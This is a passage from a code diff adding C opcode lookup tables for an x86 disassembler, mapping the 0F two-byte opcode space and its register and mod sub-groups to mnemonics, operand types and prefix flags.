O_NONE, P_none }, + /* 36 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 37 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 38 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 39 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 3A */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 3B */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 3C */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 3D */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 3E */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 3F */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 40 */ { UD_Icmovo, O_Gv, O_Ev, O_NONE, P_aso|P_oso|P_rexw|P_rexr|P_rexx|P_rexb }, + /* 41 */ { UD_Icmovno, O_Gv, O_Ev, O_NONE, P_aso|P_oso|P_rexw|P_rexr|P_rexx|P_rexb }, + /* 42 */ { UD_Icmovb, O_Gv, O_Ev, O_NONE, P_aso|P_oso|P_rexw|P_rexr|P_rexx|P_rexb }, + /* 43 */ { UD_Icmovae, O_Gv, O_Ev, O_NONE, P_aso|P_oso|P_rexw|P_rexr|P_rexx|P_rexb }, + /* 44 */ { UD_Icmovz, O_Gv, O_Ev, O_NONE, P_aso|P_oso|P_rexw|P_rexr|P_rexx|P_rexb }, + /* 45 */ { UD_Icmovnz, O_Gv, O_Ev, O_NONE, P_aso|P_oso|P_rexw|P_rexr|P_rexx|P_rexb }, + /* 46 */ { UD_Icmovbe, O_Gv, O_Ev, O_NONE, P_aso|P_oso|P_rexw|P_rexr|P_rexx|P_rexb }, + /* 47 */ { UD_Icmova, O_Gv, O_Ev, O_NONE, P_aso|P_oso|P_rexw|P_rexr|P_rexx|P_rexb }, + /* 48 */ { UD_Icmovs, O_Gv, O_Ev, O_NONE, P_aso|P_oso|P_rexw|P_rexr|P_rexx|P_rexb }, + /* 49 */ { UD_Icmovns, O_Gv, O_Ev, O_NONE, P_aso|P_oso|P_rexw|P_rexr|P_rexx|P_rexb }, + /* 4A */ { UD_Icmovp, O_Gv, O_Ev, O_NONE, P_aso|P_oso|P_rexw|P_rexr|P_rexx|P_rexb }, + /* 4B */ { UD_Icmovnp, O_Gv, O_Ev, O_NONE, P_aso|P_oso|P_rexw|P_rexr|P_rexx|P_rexb }, + /* 4C */ { UD_Icmovl, O_Gv, O_Ev, O_NONE, P_aso|P_oso|P_rexw|P_rexr|P_rexx|P_rexb }, + /* 4D */ { UD_Icmovge, O_Gv, O_Ev, O_NONE, P_aso|P_oso|P_rexw|P_rexr|P_rexx|P_rexb }, + /* 4E */ { UD_Icmovle, O_Gv, O_Ev, O_NONE, P_aso|P_oso|P_rexw|P_rexr|P_rexx|P_rexb }, + /* 4F */ { UD_Icmovg, O_Gv, O_Ev, O_NONE, P_aso|P_oso|P_rexw|P_rexr|P_rexx|P_rexb }, + /* 50 */ { UD_Imovmskps, O_Gd, O_VR, O_NONE, P_oso|P_rexr|P_rexb }, + /* 51 */ { UD_Isqrtps, O_V, O_W, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 52 */ { UD_Irsqrtps, O_V, O_W, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 53 */ { UD_Ircpps, O_V, O_W, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 54 */ { UD_Iandps, O_V, O_W, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 55 */ { UD_Iandnps, O_V, O_W, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 56 */ { UD_Iorps, O_V, O_W, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 57 */ { UD_Ixorps, O_V, O_W, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 58 */ { UD_Iaddps, O_V, O_W, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 59 */ { UD_Imulps, O_V, O_W, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 5A */ { UD_Icvtps2pd, O_V, O_W, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 5B */ { UD_Icvtdq2ps, O_V, O_W, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 5C */ { UD_Isubps, O_V, O_W, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 5D */ { UD_Iminps, O_V, O_W, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 5E */ { UD_Idivps, O_V, O_W, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 5F */ { UD_Imaxps, O_V, O_W, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 60 */ { UD_Ipunpcklbw, O_P, O_Q, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 61 */ { UD_Ipunpcklwd, O_P, O_Q, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 62 */ { UD_Ipunpckldq, O_P, O_Q, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 63 */ { UD_Ipacksswb, O_P, O_Q, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 64 */ { UD_Ipcmpgtb, O_P, O_Q, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 65 */ { UD_Ipcmpgtw, O_P, O_Q, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 66 */ { UD_Ipcmpgtd, O_P, O_Q, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 67 */ { UD_Ipackuswb, O_P, O_Q, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 68 */ { UD_Ipunpckhbw, O_P, O_Q, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 69 */ { UD_Ipunpckhwd, O_P, O_Q, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 6A */ { UD_Ipunpckhdq, O_P, O_Q, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 6B */ { UD_Ipackssdw, O_P, O_Q, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 6C */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 6D */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 6E */ { UD_Imovd, O_P, O_Ex, O_NONE, P_c2|P_aso|P_rexr|P_rexx|P_rexb }, + /* 6F */ { UD_Imovq, O_P, O_Q, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 70 */ { UD_Ipshufw, O_P, O_Q, O_Ib, P_aso|P_rexr|P_rexx|P_rexb }, + /* 71 */ { UD_Igrp_reg, O_NONE, O_NONE, O_NONE, ITAB__0F__OP_71__REG }, + /* 72 */ { UD_Igrp_reg, O_NONE, O_NONE, O_NONE, ITAB__0F__OP_72__REG }, + /* 73 */ { UD_Igrp_reg, O_NONE, O_NONE, O_NONE, ITAB__0F__OP_73__REG }, + /* 74 */ { UD_Ipcmpeqb, O_P, O_Q, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 75 */ { UD_Ipcmpeqw, O_P, O_Q, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 76 */ { UD_Ipcmpeqd, O_P, O_Q, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 77 */ { UD_Iemms, O_NONE, O_NONE, O_NONE, P_none }, + /* 78 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 79 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 7A */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 7B */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 7C */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 7D */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 7E */ { UD_Imovd, O_Ex, O_P, O_NONE, P_c1|P_aso|P_rexr|P_rexx|P_rexb }, + /* 7F */ { UD_Imovq, O_Q, O_P, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 80 */ { UD_Ijo, O_Jz, O_NONE, O_NONE, P_c1|P_def64|P_depM|P_oso }, + /* 81 */ { UD_Ijno, O_Jz, O_NONE, O_NONE, P_c1|P_def64|P_depM|P_oso }, + /* 82 */ { UD_Ijb, O_Jz, O_NONE, O_NONE, P_c1|P_def64|P_depM|P_oso }, + /* 83 */ { UD_Ijae, O_Jz, O_NONE, O_NONE, P_c1|P_def64|P_depM|P_oso }, + /* 84 */ { UD_Ijz, O_Jz, O_NONE, O_NONE, P_c1|P_def64|P_depM|P_oso }, + /* 85 */ { UD_Ijnz, O_Jz, O_NONE, O_NONE, P_c1|P_def64|P_depM|P_oso }, + /* 86 */ { UD_Ijbe, O_Jz, O_NONE, O_NONE, P_c1|P_def64|P_depM|P_oso }, + /* 87 */ { UD_Ija, O_Jz, O_NONE, O_NONE, P_c1|P_def64|P_depM|P_oso }, + /* 88 */ { UD_Ijs, O_Jz, O_NONE, O_NONE, P_c1|P_def64|P_depM|P_oso }, + /* 89 */ { UD_Ijns, O_Jz, O_NONE, O_NONE, P_c1|P_def64|P_depM|P_oso }, + /* 8A */ { UD_Ijp, O_Jz, O_NONE, O_NONE, P_c1|P_def64|P_depM|P_oso }, + /* 8B */ { UD_Ijnp, O_Jz, O_NONE, O_NONE, P_c1|P_def64|P_depM|P_oso }, + /* 8C */ { UD_Ijl, O_Jz, O_NONE, O_NONE, P_c1|P_def64|P_depM|P_oso }, + /* 8D */ { UD_Ijge, O_Jz, O_NONE, O_NONE, P_c1|P_def64|P_depM|P_oso }, + /* 8E */ { UD_Ijle, O_Jz, O_NONE, O_NONE, P_c1|P_def64|P_depM|P_oso }, + /* 8F */ { UD_Ijg, O_Jz, O_NONE, O_NONE, P_c1|P_def64|P_depM|P_oso }, + /* 90 */ { UD_Iseto, O_Eb, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 91 */ { UD_Isetno, O_Eb, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 92 */ { UD_Isetb, O_Eb, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 93 */ { UD_Isetnb, O_Eb, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 94 */ { UD_Isetz, O_Eb, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 95 */ { UD_Isetnz, O_Eb, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 96 */ { UD_Isetbe, O_Eb, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 97 */ { UD_Iseta, O_Eb, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 98 */ { UD_Isets, O_Eb, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 99 */ { UD_Isetns, O_Eb, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 9A */ { UD_Isetp, O_Eb, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 9B */ { UD_Isetnp, O_Eb, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 9C */ { UD_Isetl, O_Eb, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 9D */ { UD_Isetge, O_Eb, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 9E */ { UD_Isetle, O_Eb, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 9F */ { UD_Isetg, O_Eb, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* A0 */ { UD_Ipush, O_FS, O_NONE, O_NONE, P_none }, + /* A1 */ { UD_Ipop, O_FS, O_NONE, O_NONE, P_none }, + /* A2 */ { UD_Icpuid, O_NONE, O_NONE, O_NONE, P_none }, + /* A3 */ { UD_Ibt, O_Ev, O_Gv, O_NONE, P_aso|P_oso|P_rexw|P_rexr|P_rexx|P_rexb }, + /* A4 */ { UD_Ishld, O_Ev, O_Gv, O_Ib, P_aso|P_oso|P_rexw|P_rexr|P_rexx|P_rexb }, + /* A5 */ { UD_Ishld, O_Ev, O_Gv, O_CL, P_aso|P_oso|P_rexw|P_rexr|P_rexx|P_rexb }, + /* A6 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* A7 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* A8 */ { UD_Ipush, O_GS, O_NONE, O_NONE, P_none }, + /* A9 */ { UD_Ipop, O_GS, O_NONE, O_NONE, P_none }, + /* AA */ { UD_Irsm, O_NONE, O_NONE, O_NONE, P_none }, + /* AB */ { UD_Ibts, O_Ev, O_Gv, O_NONE, P_aso|P_oso|P_rexw|P_rexr|P_rexx|P_rexb }, + /* AC */ { UD_Ishrd, O_Ev, O_Gv, O_Ib, P_aso|P_oso|P_rexw|P_rexr|P_rexx|P_rexb }, + /* AD */ { UD_Ishrd, O_Ev, O_Gv, O_CL, P_aso|P_oso|P_rexw|P_rexr|P_rexx|P_rexb }, + /* AE */ { UD_Igrp_reg, O_NONE, O_NONE, O_NONE, ITAB__0F__OP_AE__REG }, + /* AF */ { UD_Iimul, O_Gv, O_Ev, O_NONE, P_aso|P_oso|P_rexw|P_rexr|P_rexx|P_rexb }, + /* B0 */ { UD_Icmpxchg, O_Eb, O_Gb, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* B1 */ { UD_Icmpxchg, O_Ev, O_Gv, O_NONE, P_aso|P_oso|P_rexw|P_rexr|P_rexx|P_rexb }, + /* B2 */ { UD_Ilss, O_Gz, O_M, O_NONE, P_aso|P_oso|P_rexw|P_rexr|P_rexx|P_rexb }, + /* B3 */ { UD_Ibtr, O_Ev, O_Gv, O_NONE, P_aso|P_oso|P_rexw|P_rexr|P_rexx|P_rexb }, + /* B4 */ { UD_Ilfs, O_Gz, O_M, O_NONE, P_aso|P_oso|P_rexw|P_rexr|P_rexx|P_rexb }, + /* B5 */ { UD_Ilgs, O_Gz, O_M, O_NONE, P_aso|P_oso|P_rexw|P_rexr|P_rexx|P_rexb }, + /* B6 */ { UD_Imovzx, O_Gv, O_Eb, O_NONE, P_c2|P_aso|P_oso|P_rexw|P_rexr|P_rexx|P_rexb }, + /* B7 */ { UD_Imovzx, O_Gv, O_Ew, O_NONE, P_c2|P_aso|P_oso|P_rexw|P_rexr|P_rexx|P_rexb }, + /* B8 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* B9 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* BA */ { UD_Igrp_reg, O_NONE, O_NONE, O_NONE, ITAB__0F__OP_BA__REG }, + /* BB */ { UD_Ibtc, O_Ev, O_Gv, O_NONE, P_aso|P_oso|P_rexw|P_rexr|P_rexx|P_rexb }, + /* BC */ { UD_Ibsf, O_Gv, O_Ev, O_NONE, P_aso|P_oso|P_rexw|P_rexr|P_rexx|P_rexb }, + /* BD */ { UD_Ibsr, O_Gv, O_Ev, O_NONE, P_aso|P_oso|P_rexw|P_rexr|P_rexx|P_rexb }, + /* BE */ { UD_Imovsx, O_Gv, O_Eb, O_NONE, P_c2|P_aso|P_oso|P_rexw|P_rexr|P_rexx|P_rexb }, + /* BF */ { UD_Imovsx, O_Gv, O_Ew, O_NONE, P_c2|P_aso|P_oso|P_rexw|P_rexr|P_rexx|P_rexb }, + /* C0 */ { UD_Ixadd, O_Eb, O_Gb, O_NONE, P_aso|P_oso|P_rexr|P_rexx|P_rexb }, + /* C1 */ { UD_Ixadd, O_Ev, O_Gv, O_NONE, P_aso|P_oso|P_rexw|P_rexr|P_rexx|P_rexb }, + /* C2 */ { UD_Icmpps, O_V, O_W, O_Ib, P_aso|P_rexr|P_rexx|P_rexb }, + /* C3 */ { UD_Imovnti, O_M, O_Gvw, O_NONE, P_aso|P_rexw|P_rexr|P_rexx|P_rexb }, + /* C4 */ { UD_Ipinsrw, O_P, O_Ew, O_Ib, P_aso|P_oso|P_rexw|P_rexr|P_rexx|P_rexb }, + /* C5 */ { UD_Ipextrw, O_Gd, O_PR, O_Ib, P_aso|P_oso|P_rexw|P_rexr|P_rexx|P_rexb }, + /* C6 */ { UD_Ishufps, O_V, O_W, O_Ib, P_aso|P_rexr|P_rexx|P_rexb }, + /* C7 */ { UD_Igrp_reg, O_NONE, O_NONE, O_NONE, ITAB__0F__OP_C7__REG }, + /* C8 */ { UD_Ibswap, O_rAXr8, O_NONE, O_NONE, P_oso|P_rexw|P_rexb }, + /* C9 */ { UD_Ibswap, O_rCXr9, O_NONE, O_NONE, P_oso|P_rexw|P_rexb }, + /* CA */ { UD_Ibswap, O_rDXr10, O_NONE, O_NONE, P_oso|P_rexw|P_rexb }, + /* CB */ { UD_Ibswap, O_rBXr11, O_NONE, O_NONE, P_oso|P_rexw|P_rexb }, + /* CC */ { UD_Ibswap, O_rSPr12, O_NONE, O_NONE, P_oso|P_rexw|P_rexb }, + /* CD */ { UD_Ibswap, O_rBPr13, O_NONE, O_NONE, P_oso|P_rexw|P_rexb }, + /* CE */ { UD_Ibswap, O_rSIr14, O_NONE, O_NONE, P_oso|P_rexw|P_rexb }, + /* CF */ { UD_Ibswap, O_rDIr15, O_NONE, O_NONE, P_oso|P_rexw|P_rexb }, + /* D0 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* D1 */ { UD_Ipsrlw, O_P, O_Q, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* D2 */ { UD_Ipsrld, O_P, O_Q, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* D3 */ { UD_Ipsrlq, O_P, O_Q, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* D4 */ { UD_Ipaddq, O_P, O_Q, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* D5 */ { UD_Ipmullw, O_P, O_Q, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* D6 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* D7 */ { UD_Ipmovmskb, O_Gd, O_PR, O_NONE, P_oso|P_rexr|P_rexb }, + /* D8 */ { UD_Ipsubusb, O_P, O_Q, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* D9 */ { UD_Ipsubusw, O_P, O_Q, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* DA */ { UD_Ipminub, O_P, O_Q, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* DB */ { UD_Ipand, O_P, O_Q, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* DC */ { UD_Ipaddusb, O_P, O_Q, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* DD */ { UD_Ipaddusw, O_P, O_Q, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* DE */ { UD_Ipmaxub, O_P, O_Q, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* DF */ { UD_Ipandn, O_P, O_Q, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* E0 */ { UD_Ipavgb, O_P, O_Q, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* E1 */ { UD_Ipsraw, O_P, O_Q, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* E2 */ { UD_Ipsrad, O_P, O_Q, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* E3 */ { UD_Ipavgw, O_P, O_Q, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* E4 */ { UD_Ipmulhuw, O_P, O_Q, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* E5 */ { UD_Ipmulhw, O_P, O_Q, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* E6 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* E7 */ { UD_Imovntq, O_M, O_P, O_NONE, P_none }, + /* E8 */ { UD_Ipsubsb, O_P, O_Q, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* E9 */ { UD_Ipsubsw, O_P, O_Q, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* EA */ { UD_Ipminsw, O_P, O_Q, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* EB */ { UD_Ipor, O_P, O_Q, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* EC */ { UD_Ipaddsb, O_P, O_Q, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* ED */ { UD_Ipaddsw, O_P, O_Q, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* EE */ { UD_Ipmaxsw, O_P, O_Q, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* EF */ { UD_Ipxor, O_P, O_Q, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* F0 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* F1 */ { UD_Ipsllw, O_P, O_Q, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* F2 */ { UD_Ipslld, O_P, O_Q, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* F3 */ { UD_Ipsllq, O_P, O_Q, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* F4 */ { UD_Ipmuludq, O_P, O_Q, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* F5 */ { UD_Ipmaddwd, O_P, O_Q, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* F6 */ { UD_Ipsadbw, O_P, O_Q, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* F7 */ { UD_Imaskmovq, O_P, O_Q, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* F8 */ { UD_Ipsubb, O_P, O_Q, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* F9 */ { UD_Ipsubw, O_P, O_Q, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* FA */ { UD_Ipsubd, O_P, O_Q, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* FB */ { UD_Ipsubq, O_P, O_Q, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* FC */ { UD_Ipaddb, O_P, O_Q, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* FD */ { UD_Ipaddw, O_P, O_Q, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* FE */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* FF */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, +}; + +static struct ud_itab_entry itab__0f__op_00__reg[8] = { + /* 00 */ { UD_Isldt, O_Ev, O_NONE, O_NONE, P_aso|P_oso|P_rexr|P_rexx|P_rexb }, + /* 01 */ { UD_Istr, O_Ev, O_NONE, O_NONE, P_aso|P_oso|P_rexr|P_rexx|P_rexb }, + /* 02 */ { UD_Illdt, O_Ew, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 03 */ { UD_Iltr, O_Ew, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 04 */ { UD_Iverr, O_Ew, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 05 */ { UD_Iverw, O_Ew, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 06 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 07 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, +}; + +static struct ud_itab_entry itab__0f__op_01__reg[8] = { + /* 00 */ { UD_Igrp_mod, O_NONE, O_NONE, O_NONE, ITAB__0F__OP_01__REG__OP_00__MOD }, + /* 01 */ { UD_Igrp_mod, O_NONE, O_NONE, O_NONE, ITAB__0F__OP_01__REG__OP_01__MOD }, + /* 02 */ { UD_Igrp_mod, O_NONE, O_NONE, O_NONE, ITAB__0F__OP_01__REG__OP_02__MOD }, + /* 03 */ { UD_Igrp_mod, O_NONE, O_NONE, O_NONE, ITAB__0F__OP_01__REG__OP_03__MOD }, + /* 04 */ { UD_Igrp_mod, O_NONE, O_NONE, O_NONE, ITAB__0F__OP_01__REG__OP_04__MOD }, + /* 05 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 06 */ { UD_Igrp_mod, O_NONE, O_NONE, O_NONE, ITAB__0F__OP_01__REG__OP_06__MOD }, + /* 07 */ { UD_Igrp_mod, O_NONE, O_NONE, O_NONE, ITAB__0F__OP_01__REG__OP_07__MOD }, +}; + +static struct ud_itab_entry itab__0f__op_01__reg__op_00__mod[2] = { + /* 00 */ { UD_Isgdt, O_M, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 01 */ { UD_Igrp_rm, O_NONE, O_NONE, O_NONE, ITAB__0F__OP_01__REG__OP_00__MOD__OP_01__RM }, +}; + +static struct ud_itab_entry itab__0f__op_01__reg__op_00__mod__op_01__rm[8] = { + /* 00 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 01 */ { UD_Igrp_vendor, O_NONE, O_NONE, O_NONE, ITAB__0F__OP_01__REG__OP_00__MOD__OP_01__RM__OP_01__VENDOR }, + /* 02 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 03 */ { UD_Igrp_vendor, O_NONE, O_NONE, O_NONE, ITAB__0F__OP_01__REG__OP_00__MOD__OP_01__RM__OP_03__VENDOR }, + /* 04 */ { UD_Igrp_vendor, O_NONE, O_NONE, O_NONE, ITAB__0F__OP_01__REG__OP_00__MOD__OP_01__RM__OP_04__VENDOR }, + /* 05 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 06 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 07 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, +}; + +static struct ud_itab_entry itab__0f__op_01__reg__op_00__mod__op_01__rm__op_01__vendor[2] = { + /* 00 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 01 */ { UD_Ivmcall, O_NONE, O_NONE, O_NONE, P_none }, +}; + +static struct ud_itab_entry itab__0f__op_01__reg__op_00__mod__op_01__rm__op_03__vendor[2] = { + /* 00 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 01 */ { UD_Ivmresume, O_NONE, O_NONE, O_NONE, P_none }, +}; + +static struct ud_itab_entry itab__0f__op_01__reg__op_00__mod__op_01__rm__op_04__vendor[2] = { + /* 00 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 01 */ { UD_Ivmxoff, O_NONE, O_NONE, O_NONE, P_none }, +}; + +static struct ud_itab_entry itab__0f__op_01__reg__op_01__mod[2] = { + /* 00 */ { UD_Isidt, O_M, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 01 */ { UD_Igrp_rm, O_NONE, O_NONE, O_NONE, ITAB__0F__OP_01__REG__OP_01__MOD__OP_01__RM }, +}; + +static struct ud_itab_entry itab__0f__op_01__reg__op_01__mod__op_01__rm[8] = { + /* 00 */ { UD_Imonitor, O_NONE, O_NONE, O_NONE, P_none }, + /* 01 */ { UD_Imwait, O_NONE, O_NONE, O_NONE, P_none }, + /* 02 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 03 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 04 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 05 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 06 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 07 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, +}; + +static struct ud_itab_entry itab__0f__op_01__reg__op_02__mod[2] = { + /* 00 */ { UD_Ilgdt, O_M, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 01 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, +}; + +static struct ud_itab_entry itab__0f__op_01__reg__op_03__mod[2] = { + /* 00 */ { UD_Ilidt, O_M, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 01 */ { UD_Igrp_rm, O_NONE, O_NONE, O_NONE, ITAB__0F__OP_01__REG__OP_03__MOD__OP_01__RM }, +}; + +static struct ud_itab_entry itab__0f__op_01__reg__op_03__mod__op_01__rm[8] = { + /* 00 */ { UD_Igrp_vendor, O_NONE, O_NONE, O_NONE, ITAB__0F__OP_01__REG__OP_03__MOD__OP_01__RM__OP_00__VENDOR }, + /* 01 */ { UD_Igrp_vendor, O_NONE, O_NONE, O_NONE, ITAB__0F__OP_01__REG__OP_03__MOD__OP_01__RM__OP_01__VENDOR }, + /* 02 */ { UD_Igrp_vendor, O_NONE, O_NONE, O_NONE, ITAB__0F__OP_01__REG__OP_03__MOD__OP_01__RM__OP_02__VENDOR }, + /* 03 */ { UD_Igrp_vendor, O_NONE, O_NONE, O_NONE, ITAB__0F__OP_01__REG__OP_03__MOD__OP_01__RM__OP_03__VENDOR }, + /* 04 */ { UD_Igrp_vendor, O_NONE, O_NONE, O_NONE, 